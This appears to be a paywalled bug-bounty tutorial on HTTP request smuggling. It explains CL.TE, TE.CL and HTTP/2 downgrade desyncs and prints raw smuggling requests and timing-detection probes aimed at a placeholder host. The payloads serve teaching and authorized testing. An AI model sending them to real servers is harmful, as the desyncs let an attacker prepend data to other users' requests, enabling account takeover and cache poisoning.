Advanced levelPremium

HTTP request smuggling — H2→H1 desync, TE.CL, CL.TE and H2.CL in 2026

An updated catalog of HTTP smuggling: classic CL.TE, TE.CL, H2→H1 downgrade desyncs, HTTP/2 SETTINGS frame abuse, chunked extensions and HTTP/2 pseudo-headers.

Gorka El BochiMay 11, 202616 min

Quick answer

HTTP request smuggling remains the highest-ROI bug in 2026 against complex stacks (CDN + WAF + origin). The four variants that pay: CL.TE (classic), TE.CL (inverted classic), H2.CL (HTTP/2 downgrade with a custom Content-Length), and the recent single-packet H2 desync that defeats serverless load balancers like Cloudflare Workers. When the frontend and backend interpret differently where a request ends, the attacker smuggles a second one inside the first → ATO, cache poisoning, internal access. Detection: smuggler.py + Burp HTTP Request Smuggler + timing-based oracles.


1. The mental model

css
[Cliente][Frontend (CDN/LB/WAF)][Backend (origin)]
              ↑                          ↑
              CL: 13                     TE: chunked
              "parser cree termina aquí" "parser cree termina más allá"

When the frontend says "this request ends at byte 13" and the backend says "this one ends at byte 50", bytes 14-50 get prepended to the next request that reaches the backend on the same TCP/TLS connection.

That "next request" belongs to another user (backend connections are shared). The attacker controls what gets prepended to other people's requests. That's account takeover, cache poisoning, internal endpoint access.


2. The four main variants

VariantFrontend usesBackend usesWhen it applies
CL.TEContent-LengthTransfer-Encoding: chunkedOlder frontend, modern backend
TE.CLTransfer-Encoding: chunkedContent-LengthModern frontend, older backend
TE.TETE with obfuscationstandard TEBoth support TE but one fails with a variant
H2.CL / H2.TEHTTP/2 framingHTTP/1.1 with CL/TEFrontend H2 downgrade to H1 at the origin

3. Classic CL.TE

http
POST / HTTP/1.1
Host: target.com
Content-Length: 13
Transfer-Encoding: chunked

0

SMUGGLED
  • Frontend reads Content-Length: 13 → consumes 13 bytes (0\r\n\r\nSMUGGLED), forwards to the backend.
  • Backend reads Transfer-Encoding: chunked → the first chunk is 0 (empty, end of body) → consumes only 0\r\n\r\n → the word SMUGGLED stays in the buffer.
  • The next normal request from the next user gets concatenated with SMUGGLED in front → SMUGGLEDGET / HTTP/1.1... → corrupted, or usable as a prefix injection.

Timing detection

http
POST / HTTP/1.1
Host: target.com
Content-Length: 4
Transfer-Encoding: chunked

1
A
X

If the response takes a long time (a timeout waiting for bytes that never arrive) → CL.TE. The backend interprets TE, waits for the already-consumed 1-byte chunk + a next one that never comes.


4. Classic TE.CL

http
POST / HTTP/1.1
Host: target.com
Content-Length: 3
Transfer-Encoding: chunked

8
SMUGGLED
0

  • Frontend reads TE → first chunk of 8 bytes (SMUGGLED), then 0\r\n\r\n → request ends, everything forwarded to the backend.
  • Backend reads Content-Length: 3 → consumes only 8\r\n (3 bytes) → the rest (SMUGGLED\r\n0\r\n\r\n) stays in the buffer → prepended to the next request.

Timing detection

http
POST / HTTP/1.1
Host: target.com
Content-Length: 6
Transfer-Encoding: chunked

0


X

The backend reads 6 bytes with CL → takes 0\r\n\r\nX → immediate response. But the X stays in the buffer → next request corrupted (invalid paths).


Keep reading the full chain

The remaining part includes the step-by-step PoC, exploitation code and the full chain that led to impact. Available to subscribers.

Practice this in a lab

Http Request Smuggling

Solve

Keep learning · free account

Save your progress, unlock advanced payloads and rank your flags.

Create account

Related articles

hunters training
711

hunters training

labs from real reports
55

labs from real reports

completions
1,205

completions

in bounties practiced
$213,970

in bounties practiced

46 flags captured this week·Real reports from HackerOne · Bugcrowd · Intigriti·No commitment·Free Academy